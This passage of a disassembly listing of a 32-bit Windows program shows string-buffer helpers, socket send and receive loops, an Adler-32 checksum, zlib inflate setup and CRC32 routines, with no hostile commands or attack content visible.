test eax, eax jz short loc_40DA71 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_40DA4D ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40DA32+34j xor eax, eax loc_40DA73: ; CODE XREF: sub_40DA32+20j pop esi retn sub_40DA32 endp ; =============== S U B R O U T I N E ======================================= sub_40DA75 proc near ; CODE XREF: sub_40AFBA+9p ; sub_40B41F+BBp ... mov dword ptr [ecx], offset off_41C280 jmp sub_40D9A7 sub_40DA75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA80 proc near ; CODE XREF: sub_40694B+51p ; sub_40B29D+1Ep ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_0] mov esi, ecx mov [ebp+var_10], 2 call ds:dword_4181E8 push [ebp+arg_4] mov [ebp+var_E], ax call ds:dword_4181EC mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax mov ecx, esi call sub_40D7E5 pop esi leave retn 8 sub_40DA80 endp ; =============== S U B R O U T I N E ======================================= sub_40DAB8 proc near ; DATA XREF: .rdata:off_41C280o arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41C280 call sub_40D9A7 test [esp+4+arg_0], 1 jz short loc_40DAD4 push esi call sub_40D0B6 pop ecx loc_40DAD4: ; CODE XREF: sub_40DAB8+13j mov eax, esi pop esi retn 4 sub_40DAB8 endp ; =============== S U B R O U T I N E ======================================= sub_40DADA proc near ; CODE XREF: sub_402624+166p ; sub_402FCB+17p ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov eax, [esi] test eax, eax jnz short loc_40DAEE call sub_40CA18 jmp short loc_40DAF5 ; --------------------------------------------------------------------------- loc_40DAEE: ; CODE XREF: sub_40DADA+Bj push eax call sub_40CA55 pop ecx loc_40DAF5: ; CODE XREF: sub_40DADA+12j test eax, eax pop ecx jz short loc_40DAFC mov [esi], eax loc_40DAFC: ; CODE XREF: sub_40DADA+1Ej pop esi retn 4 sub_40DADA endp ; =============== S U B R O U T I N E ======================================= sub_40DB00 proc near ; CODE XREF: sub_401918+10Dp ; sub_407373+9p ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40DB13 push eax call sub_40CCC5 and dword ptr [esi], 0 pop ecx loc_40DB13: ; CODE XREF: sub_40DB00+7j pop esi retn sub_40DB00 endp ; =============== S U B R O U T I N E ======================================= sub_40DB15 proc near ; CODE XREF: sub_407119+12Bp ; sub_407119+15Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_0] lea eax, [esp+4+arg_8] push eax push [esp+8+arg_4] push dword ptr [esi] call ds:dword_418158 mov eax, [esi] pop esi retn sub_40DB15 endp ; =============== S U B R O U T I N E ======================================= sub_40DB2F proc near ; CODE XREF: sub_401B3F+14p ; sub_401B3F+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_40DB39 mov eax, [ecx] loc_40DB39: ; CODE XREF: sub_40DB2F+6j push [esp+arg_0] push eax call sub_40CE77 pop ecx pop ecx retn 8 sub_40DB2F endp ; =============== S U B R O U T I N E ======================================= sub_40DB48 proc near ; CODE XREF: sub_401A43+30p ; sub_401AD2+6p ... push esi mov esi, ecx and dword ptr [esi], 0 push 1 call sub_40DADA mov eax, esi pop esi retn sub_40DB48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DB59 proc near ; CODE XREF: sub_4015F3+17p ; sub_401AE5+6p ... jmp sub_40DB00 sub_40DB59 endp ; =============== S U B R O U T I N E ======================================= sub_40DB5E proc near ; CODE XREF: sub_4012E7+Dp ; sub_401B3F+4Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jnz short loc_40DB6C xor eax, eax jmp short loc_40DB9E ; --------------------------------------------------------------------------- loc_40DB6C: ; CODE XREF: sub_40DB5E+8j push edi mov edi, [esp+8+arg_4] test edi, edi jnz short loc_40DB81 push [esp+8+arg_0] call sub_40CD83 pop ecx mov edi, eax loc_40DB81: ; CODE XREF: sub_40DB5E+15j inc edi push edi mov ecx, esi call sub_40DADA test eax, eax jz short loc_40DB9D push edi push [esp+0Ch+arg_0] push dword ptr [esi] call ds:dword_4180F4 mov eax, [esi] loc_40DB9D: ; CODE XREF: sub_40DB5E+2Ej pop edi loc_40DB9E: ; CODE XREF: sub_40DB5E+Cj pop esi retn 8 sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= sub_40DBA2 proc near ; CODE XREF: sub_401AA0+14p ; sub_401B9A+53p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jnz short loc_40DBB0 xor eax, eax jmp short loc_40DBF4 ; --------------------------------------------------------------------------- loc_40DBB0: ; CODE XREF: sub_40DBA2+8j push edi mov edi, [esp+8+arg_4] test edi, edi jnz short loc_40DBC5 push [esp+8+arg_0] call sub_40CD83 pop ecx mov edi, eax loc_40DBC5: ; CODE XREF: sub_40DBA2+15j mov eax, [esi] test eax, eax jz short loc_40DBD2 push eax call sub_40CD83 pop ecx loc_40DBD2: ; CODE XREF: sub_40DBA2+27j lea eax, [eax+edi+1] push eax mov ecx, esi call sub_40DADA test eax, eax jz short loc_40DBF3 push edi push [esp+0Ch+arg_0] push dword ptr [esi] call sub_40CDE5 mov eax, [esi] add esp, 0Ch loc_40DBF3: ; CODE XREF: sub_40DBA2+3Ej pop edi loc_40DBF4: ; CODE XREF: sub_40DBA2+Cj pop esi retn 8 sub_40DBA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBF8 proc near ; CODE XREF: sub_4036C6+43p ; sub_4036C6+57p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push [ebp+arg_0] lea eax, [ebp+var_C] push offset aD ; "%d" push eax mov esi, ecx call sub_40CE18 add esp, 0Ch push 0 lea eax, [ebp+var_C] push eax mov ecx, esi call sub_40DBA2 pop esi leave retn 4 sub_40DBF8 endp ; =============== S U B R O U T I N E ======================================= sub_40DC27 proc near ; CODE XREF: sub_404905+26p ; sub_40DC39+Ap ... arg_0 = dword ptr 4 push esi mov esi, ecx call sub_40DB00 mov eax, [esp+4+arg_0] mov [esi], eax pop esi retn 4 sub_40DC27 endp ; =============== S U B R O U T I N E ======================================= sub_40DC39 proc near ; CODE XREF: sub_401B9A+7Bp ; sub_4022BE+6Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] and dword ptr [eax], 0 push edx call sub_40DC27 retn 4 sub_40DC39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC4B proc near ; CODE XREF: sub_402624+18Fp var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push edi push [ebp+arg_4] mov edi, ecx mov eax, [edi] push eax mov [ebp+var_1], 0 call sub_40CE77 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40DCC9 push esi push [ebp+arg_8] mov ecx, edi call sub_40DB2F test eax, eax mov [ebp+arg_8], eax jz short loc_40DCC9 lea ecx, [ebp+arg_4] call sub_40DB48 mov eax, [edi] sub esi, eax push esi push eax lea ecx, [ebp+arg_4] call sub_40DB5E mov eax, [ebp+arg_0] push 0 push dword ptr [eax] lea ecx, [ebp+arg_4] call sub_40DBA2 push 0 push [ebp+arg_8] lea ecx, [ebp+arg_4] call sub_40DBA2 mov eax, [ebp+arg_4] and [ebp+arg_4], 0 push eax mov ecx, edi call sub_40DC27 lea ecx, [ebp+arg_4] mov [ebp+var_1], 1 call sub_40DB00 loc_40DCC9: ; CODE XREF: sub_40DC4B+1Dj ; sub_40DC4B+2Fj mov al, [ebp+var_1] pop edi pop esi leave retn 0Ch sub_40DC4B endp ; =============== S U B R O U T I N E ======================================= sub_40DCD2 proc near ; CODE XREF: sub_404D27+8Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi], 0 push 0 push dword ptr [eax] call sub_40DB5E mov eax, esi pop esi retn 4 sub_40DCD2 endp ; =============== S U B R O U T I N E ======================================= sub_40DCEB proc near ; CODE XREF: sub_402624+2C7p ; sub_402624+32Bp ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx and dword ptr [esi], 0 call sub_4012E7 mov eax, esi pop esi retn 4 sub_40DCEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD00 proc near ; CODE XREF: sub_4022BE+12p ; sub_402624+8Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ecx] test eax, eax jz short locret_40DD78 push esi push edi push eax lea ecx, [ebp+var_4] call sub_40DCEB mov edi, [ebp+var_4] push 8 call sub_40D0BB test eax, eax pop ecx jz short loc_40DD31 and dword ptr [eax], 0 and dword ptr [eax+4], 0 mov [ebp+var_8], eax jmp short loc_40DD49 ; --------------------------------------------------------------------------- loc_40DD31: ; CODE XREF: sub_40DD00+23j and [ebp+var_8], 0 jmp short loc_40DD49 ; --------------------------------------------------------------------------- loc_40DD37: ; CODE XREF: sub_40DD00+5Dj mov byte ptr [esi], 0 call sub_403E90 mov ecx, eax call sub_4012E7 lea edi, [esi+1] loc_40DD49: ; CODE XREF: sub_40DD00+2Fj ; sub_40DD00+35j push edi push [ebp+arg_0] lea ecx, [ebp+var_4] call sub_40DB2F mov ecx, [ebp+var_8] mov esi, eax test esi, esi push edi jnz short loc_40DD37 call sub_403E90 mov ecx, eax call sub_4012E7 lea ecx, [ebp+var_4] call sub_40DB00 mov eax, [ebp+var_8] pop edi pop esi locret_40DD78: ; CODE XREF: sub_40DD00+9j leave retn 4 sub_40DD00 endp ; =============== S U B R O U T I N E ======================================= sub_40DD7C proc near ; CODE XREF: sub_401269+Fp ; sub_405E95+15p ... push esi push 6 push 1 mov esi, ecx call sub_40D737 mov dword ptr [esi], offset off_41C28C mov eax, esi pop esi retn sub_40DD7C endp ; =============== S U B R O U T I N E ======================================= sub_40DD92 proc near ; CODE XREF: sub_4067A5+5Fp ; sub_40B1CC+5Bp ... push esi mov esi, ecx mov dword ptr [esi], offset off_41C28C call sub_40D665 test al, al jz short loc_40DDAD push 1 mov ecx, esi call sub_40D9D5 loc_40DDAD: ; CODE XREF: sub_40DD92+10j mov ecx, esi pop esi jmp sub_40DA75 sub_40DD92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DDB5 proc near ; CODE XREF: sub_4067A5+31p ; sub_40B1CC+37p ; DATA XREF: ... var_1018 = dword ptr -1018h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1018h call sub_4011B0 mov eax, [ebp+arg_0] push ebx mov [ebp+var_8], eax mov eax, [ebp+arg_8] xor ebx, ebx cmp eax, ebx push esi push edi mov edi, ecx mov [ebp+var_4], ebx jnz short loc_40DDE2 mov [ebp+arg_8], 1Eh jmp short loc_40DDE7 ; --------------------------------------------------------------------------- loc_40DDE2: ; CODE XREF: sub_40DDB5+22j mov eax, [eax] mov [ebp+arg_8], eax loc_40DDE7: ; CODE XREF: sub_40DDB5+2Bj mov esi, [edi+4] mov eax, [ebp+arg_8] inc esi cmp eax, ebx mov [ebp+arg_0], eax jle short loc_40DE65 loc_40DDF5: ; CODE XREF: sub_40DDB5+AEj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp eax, ebx mov [ebp+var_C], eax jle short loc_40DE65 lea eax, [ebp+var_1018] push eax mov ecx, edi mov [ebp+var_14], 1 mov [ebp+var_10], ebx mov [ebp+var_1018], ebx call sub_40D686 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1018] push eax push eax push ebx push esi call ds:dword_4181A4 cmp eax, 0FFFFFFFFh jz short loc_40DE6F cmp eax, ebx jz short loc_40DE5D push ebx push [ebp+var_C] mov ecx, edi push [ebp+var_8] call sub_40D80F cmp eax, ebx jle short loc_40DE78 add [ebp+var_8], eax add [ebp+var_4], eax mov eax, [ebp+arg_8] mov [ebp+arg_0], eax jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DDB5+86j dec [ebp+arg_0] loc_40DE60: ; CODE XREF: sub_40DDB5+A6j cmp [ebp+arg_0], ebx jg short loc_40DDF5 loc_40DE65: ; CODE XREF: sub_40DDB5+3Ej ; sub_40DDB5+4Bj mov eax, [ebp+var_4] loc_40DE68: ; CODE XREF: sub_40DDB5+C6j pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40DE6F: ; CODE XREF: sub_40DDB5+82j push 1 mov ecx, edi call sub_40D66F loc_40DE78: ; CODE XREF: sub_40DDB5+98j or eax, 0FFFFFFFFh jmp short loc_40DE68 sub_40DDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE7D proc near ; CODE XREF: sub_4067A5+4Ap ; DATA XREF: .rdata:0041C290o var_101C = dword ptr -101Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 101Ch call sub_4011B0 mov eax, [ebp+arg_0] push ebx mov [ebp+var_C], eax mov eax, [ebp+arg_8] xor ebx, ebx cmp eax, ebx push esi push edi mov edi, ecx mov [ebp+arg_0], ebx jnz short loc_40DEAA mov [ebp+var_8], 1 jmp short loc_40DEAF ; --------------------------------------------------------------------------- loc_40DEAA: ; CODE XREF: sub_40DE7D+22j mov eax, [eax] mov [ebp+var_8], eax loc_40DEAF: ; CODE XREF: sub_40DE7D+2Bj mov esi, [edi+4] mov eax, [ebp+var_8] inc esi cmp eax, ebx mov [ebp+var_4], eax jle short loc_40DF2D loc_40DEBD: ; CODE XREF: sub_40DE7D+AEj mov eax, [ebp+arg_4] sub eax, [ebp+arg_0] cmp eax, ebx mov [ebp+var_10], eax jle short loc_40DF2D lea eax, [ebp+var_101C] push eax mov ecx, edi mov [ebp+var_18], 1 mov [ebp+var_14], ebx mov [ebp+var_101C], ebx call sub_40D686 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_101C] push eax push ebx push eax push esi call ds:dword_4181A4 cmp eax, 0FFFFFFFFh jz short loc_40DF45 cmp eax, ebx jz short loc_40DF25 push ebx push [ebp+var_10] mov ecx, edi push [ebp+var_C] call sub_40D876 cmp eax, ebx jle short loc_40DF37 add [ebp+var_C], eax add [ebp+arg_0], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40DF28 ; --------------------------------------------------------------------------- loc_40DF25: ; CODE XREF: sub_40DE7D+86j dec [ebp+var_4] loc_40DF28: ; CODE XREF: sub_40DE7D+A6j cmp [ebp+var_4], ebx jg short loc_40DEBD loc_40DF2D: ; CODE XREF: sub_40DE7D+3Ej ; sub_40DE7D+4Bj ... mov eax, [ebp+arg_0] loc_40DF30: ; CODE XREF: sub_40DE7D+D4j pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40DF37: ; CODE XREF: sub_40DE7D+98j jnz short loc_40DF4E mov eax, [ebp+arg_8] cmp eax, ebx jz short loc_40DF2D or dword ptr [eax], 0FFFFFFFFh jmp short loc_40DF2D ; --------------------------------------------------------------------------- loc_40DF45: ; CODE XREF: sub_40DE7D+82j push 1 mov ecx, edi call sub_40D66F loc_40DF4E: ; CODE XREF: sub_40DE7D:loc_40DF37j or eax, 0FFFFFFFFh jmp short loc_40DF30 sub_40DE7D endp ; =============== S U B R O U T I N E ======================================= sub_40DF53 proc near ; CODE XREF: sub_40DF85+63p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D767 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40DF7F push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_40DF7F mov [eax+4], esi mov dword ptr [eax], offset off_41C28C jmp short loc_40DF81 ; --------------------------------------------------------------------------- loc_40DF7F: ; CODE XREF: sub_40DF53+13j ; sub_40DF53+1Fj xor eax, eax loc_40DF81: ; CODE XREF: sub_40DF53+2Aj pop esi retn 8 sub_40DF53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF85 proc near ; CODE XREF: sub_40694B+91p ; sub_40B29D+6Fp ... var_100C = dword ptr -100Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 100Ch call sub_4011B0 mov eax, [ebp+arg_0] and [ebp+var_4], 0 and [ebp+var_100C], 0 push esi mov [ebp+var_8], eax push edi lea eax, [ebp+var_100C] push eax mov esi, ecx call sub_40D686 mov eax, [esi+4] lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_100C] push ecx push 0 push ecx inc eax push eax call ds:dword_4181A4 mov edi, eax cmp edi, 0FFFFFFFFh setz al mov ecx, esi push eax call sub_40D66F test edi, edi jle short loc_40DFEF push [ebp+arg_8] mov ecx, esi push [ebp+arg_4] call sub_40DF53 jmp short loc_40DFF1 ; --------------------------------------------------------------------------- loc_40DFEF: ; CODE XREF: sub_40DF85+59j xor eax, eax loc_40DFF1: ; CODE XREF: sub_40DF85+68j pop edi pop esi leave retn 0Ch sub_40DF85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFF7 proc near ; CODE XREF: sub_40123F+20p ; sub_405E95+40p ... var_100C = dword ptr -100Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_4011B0 push ebx push esi push edi mov edi, ecx mov esi, [edi+4] xor ebx, ebx inc ebx push 0 inc esi call sub_40DA13 push [ebp+arg_0] mov ecx, edi call sub_40D7BB test eax, eax jz short loc_40E07E mov eax, [edi+8] cmp eax, 2733h jz short loc_40E03B cmp eax, 2734h jz short loc_40E03B or ebx, 0FFFFFFFFh jmp short loc_40E07E ; --------------------------------------------------------------------------- loc_40E03B: ; CODE XREF: sub_40DFF7+36j ; sub_40DFF7+3Dj mov eax, [ebp+arg_4] mov [ebp+var_8], eax lea eax, [ebp+var_100C] xor ebx, ebx push eax mov ecx, edi mov [ebp+var_4], ebx mov [ebp+var_100C], ebx call sub_40D686 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_100C] push eax push eax push ebx push esi call ds:dword_4181A4 mov ebx, eax cmp ebx, 0FFFFFFFFh setz al mov ecx, edi push eax call sub_40D66F loc_40E07E: ; CODE XREF: sub_40DFF7+2Cj ; sub_40DFF7+42j push 1 mov ecx, edi call sub_40DA13 pop edi pop esi mov eax, ebx pop ebx leave retn 8 sub_40DFF7 endp ; =============== S U B R O U T I N E ======================================= sub_40E090 proc near ; DATA XREF: .rdata:off_41C28Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40DD92 test [esp+4+arg_0], 1 jz short loc_40E0A6 push esi call sub_40D0B6 pop ecx loc_40E0A6: ; CODE XREF: sub_40E090+Dj mov eax, esi pop esi retn 4 sub_40E090 endp ; =============== S U B R O U T I N E ======================================= sub_40E0AC proc near ; CODE XREF: sub_40BBB5+5Ep ; sub_41634A+39p ... push esi push 11h push 2 mov esi, ecx call sub_40D737 mov dword ptr [esi], offset off_41C128 mov eax, esi pop esi retn sub_40E0AC endp ; =============== S U B R O U T I N E ======================================= sub_40E0C2 proc near ; DATA XREF: .rdata:0041C12Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D876 retn 0Ch sub_40E0C2 endp ; =============== S U B R O U T I N E ======================================= sub_40E0D4 proc near ; DATA XREF: .rdata:0041C130o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D80F retn 0Ch sub_40E0D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0E6 proc near ; CODE XREF: sub_40E674+2F6p ; sub_40F0DD+D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push edi xor eax, eax mov edi, esi inc eax shr edi, 10h and esi, 0FFFFh cmp ebx, eax jnz short loc_40E128 mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] add esi, eax mov eax, 0FFF1h cmp esi, eax jb short loc_40E117 sub esi, eax loc_40E117: ; CODE XREF: sub_40E0E6+2Dj add edi, esi cmp edi, eax jb loc_40E2FA sub edi, eax jmp loc_40E2FA ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40E0E6+1Cj mov ecx, [ebp+arg_4] test ecx, ecx jz loc_40E301 cmp ebx, 10h jb loc_40E2BD cmp ebx, 15B0h jb loc_40E210 mov eax, ebx mov ebx, 15B0h xor edx, edx div ebx mov ebx, [ebp+arg_8] mov [ebp+arg_0], eax loc_40E159: ; CODE XREF: sub_40E0E6+124j sub ebx, 15B0h mov eax, 15Bh loc_40E164: ; CODE XREF: sub_40E0E6+101j movzx edx, byte ptr [ecx] add esi, edx movzx edx, byte ptr [ecx+1] add edi, esi add esi, edx movzx edx, byte ptr [ecx+2] add edi, esi add esi, edx movzx edx, byte ptr [ecx+3] add edi, esi add esi, edx movzx edx, byte ptr [ecx+4] add edi, esi add esi, edx movzx edx, byte ptr [ecx+5] add edi, esi add esi, edx movzx edx, byte ptr [ecx+6] add edi, esi add esi, edx movzx edx, byte ptr [ecx+7] add edi, esi add esi, edx movzx edx, byte ptr [ecx+8] add edi, esi add esi, edx movzx edx, byte ptr [ecx+9] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ah] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Bh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ch] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Dh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Eh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Fh] add edi, esi add esi, edx add edi, esi add ecx, 10h dec eax jnz loc_40E164 mov eax, esi xor edx, edx mov esi, 0FFF1h div esi mov eax, edi mov edi, 0FFF1h mov esi, edx xor edx, edx div edi dec [ebp+arg_0] mov edi, edx jnz loc_40E159 loc_40E210: ; CODE XREF: sub_40E0E6+5Cj test ebx, ebx jz loc_40E2FA cmp ebx, 10h jb loc_40E2DF mov eax, ebx shr eax, 4 loc_40E226: ; CODE XREF: sub_40E0E6+1C6j movzx edx, byte ptr [ecx] add esi, edx movzx edx, byte ptr [ecx+1] add edi, esi add esi, edx movzx edx, byte ptr [ecx+2] add edi, esi add esi, edx movzx edx, byte ptr [ecx+3] add edi, esi add esi, edx movzx edx, byte ptr [ecx+4] add edi, esi add esi, edx movzx edx, byte ptr [ecx+5] add edi, esi add esi, edx movzx edx, byte ptr [ecx+6] add edi, esi add esi, edx movzx edx, byte ptr [ecx+7] add edi, esi add esi, edx movzx edx, byte ptr [ecx+8] add edi, esi add esi, edx movzx edx, byte ptr [ecx+9] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ah] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Bh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ch] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Dh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Eh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Fh] add edi, esi add esi, edx sub ebx, 10h add edi, esi add ecx, 10h dec eax jnz loc_40E226 jmp short loc_40E2DF ; --------------------------------------------------------------------------- loc_40E2B4: ; CODE XREF: sub_40E0E6+1D9j movzx eax, byte ptr [ecx] dec ebx add esi, eax inc ecx add edi, esi loc_40E2BD: ; CODE XREF: sub_40E0E6+50j test ebx, ebx jnz short loc_40E2B4 mov ecx, 0FFF1h cmp esi, ecx jb short loc_40E2CC sub esi, ecx loc_40E2CC: ; CODE XREF: sub_40E0E6+1E2j mov eax, edi xor edx, edx div ecx mov eax, edx jmp short loc_40E2FC ; --------------------------------------------------------------------------- loc_40E2D6: ; CODE XREF: sub_40E0E6+1FBj movzx eax, byte ptr [ecx] dec ebx add esi, eax inc ecx add edi, esi loc_40E2DF: ; CODE XREF: sub_40E0E6+135j ; sub_40E0E6+1CCj test ebx, ebx jnz short loc_40E2D6 mov eax, esi mov ecx, 0FFF1h xor edx, edx mov esi, ecx div esi mov eax, edi mov esi, edx xor edx, edx div ecx mov edi, edx loc_40E2FA: ; CODE XREF: sub_40E0E6+35j ; sub_40E0E6+3Dj ... mov eax, edi loc_40E2FC: ; CODE XREF: sub_40E0E6+1EEj shl eax, 10h or eax, esi loc_40E301: ; CODE XREF: sub_40E0E6+47j pop edi pop esi pop ebx pop ebp retn sub_40E0E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E306 proc near ; CODE XREF: sub_404355+28p var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 mov [ebp+var_38], eax mov eax, [ebp+arg_C] push esi mov esi, [ebp+arg_4] mov [ebp+var_34], eax mov eax, [ebp+arg_0] push 38h mov [ebp+var_2C], eax mov eax, [esi] push offset a1_2_3 ; "1.2.3" push [ebp+arg_10] mov [ebp+var_28], eax lea eax, [ebp+var_38] push eax call sub_40FC5A add esp, 10h test eax, eax jnz short loc_40E389 push ebx lea eax, [ebp+var_38] push 4 push eax call sub_40E674 mov ebx, eax cmp ebx, 1 pop ecx pop ecx jz short loc_40E379 lea eax, [ebp+var_38] push eax call sub_40EDE3 test ebx, ebx pop ecx jnz short loc_40E375 push 0FFFFFFFBh pop eax jmp short loc_40E388 ; --------------------------------------------------------------------------- loc_40E375: ; CODE XREF: sub_40E306+68j mov eax, ebx jmp short loc_40E388 ; --------------------------------------------------------------------------- loc_40E379: ; CODE XREF: sub_40E306+5Aj mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_40EDE3 pop ecx loc_40E388: ; CODE XREF: sub_40E306+6Dj ; sub_40E306+71j pop ebx loc_40E389: ; CODE XREF: sub_40E306+45j pop esi leave retn sub_40E306 endp ; =============== S U B R O U T I N E ======================================= sub_40E38C proc near ; CODE XREF: sub_404355+Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax mov edx, eax shr ecx, 0Eh shr edx, 0Ch add ecx, eax lea eax, [edx+ecx+0Bh] retn sub_40E38C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3A1 proc near ; CODE XREF: sub_40E5EB+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi not eax mov ecx, 0FFh jz short loc_40E3D1 loc_40E3B5: ; CODE XREF: sub_40E3A1+2Ej test dl, 3 jz short loc_40E3D1 movzx ebx, byte ptr [edx] xor ebx, eax and ebx, ecx shr eax, 8 xor eax, ds:dword_41C2A0[ebx*4] inc edx dec [ebp+arg_0] jnz short loc_40E3B5 loc_40E3D1: ; CODE XREF: sub_40E3A1+12j ; sub_40E3A1+17j cmp [ebp+arg_0], 20h push 4 mov esi, edx pop edi jb loc_40E57E mov edx, [ebp+arg_0] shr edx, 5 mov [ebp+var_4], edx loc_40E3E9: ; CODE XREF: sub_40E3A1+1D7j xor eax, [esi] add esi, edi mov edx, eax shr edx, 10h movzx ebx, ah and edx, ecx mov edx, ds:dword_41C6A0[edx*4] xor edx, ds:dword_41CAA0[ebx*4] mov ebx, eax and eax, ecx shr ebx, 18h xor edx, ds:dword_41C2A0[ebx*4] xor edx, ds:dword_41CEA0[eax*4] xor edx, [esi] add esi, edi mov eax, edx shr eax, 10h and eax, ecx mov eax, ds:dword_41C6A0[eax*4] movzx ebx, dh xor eax, ds:dword_41CAA0[ebx*4] mov ebx, edx and edx, ecx shr ebx, 18h xor eax, ds:dword_41C2A0[ebx*4] xor eax, ds:dword_41CEA0[edx*4] xor eax, [esi] add esi, edi mov edx, eax shr edx, 10h movzx ebx, ah and edx, ecx mov edx, ds:dword_41C6A0[edx*4] xor edx, ds:dword_41CAA0[ebx*4] mov ebx, eax and eax, ecx shr ebx, 18h xor edx, ds:dword_41C2A0[ebx*4] xor edx, ds:dword_41CEA0[eax*4] xor edx, [esi] add esi, edi mov eax, edx shr eax, 10h and eax, ecx mov eax, ds:dword_41C6A0[eax*4] movzx ebx, dh xor eax, ds:dword_41CAA0[ebx*4] mov 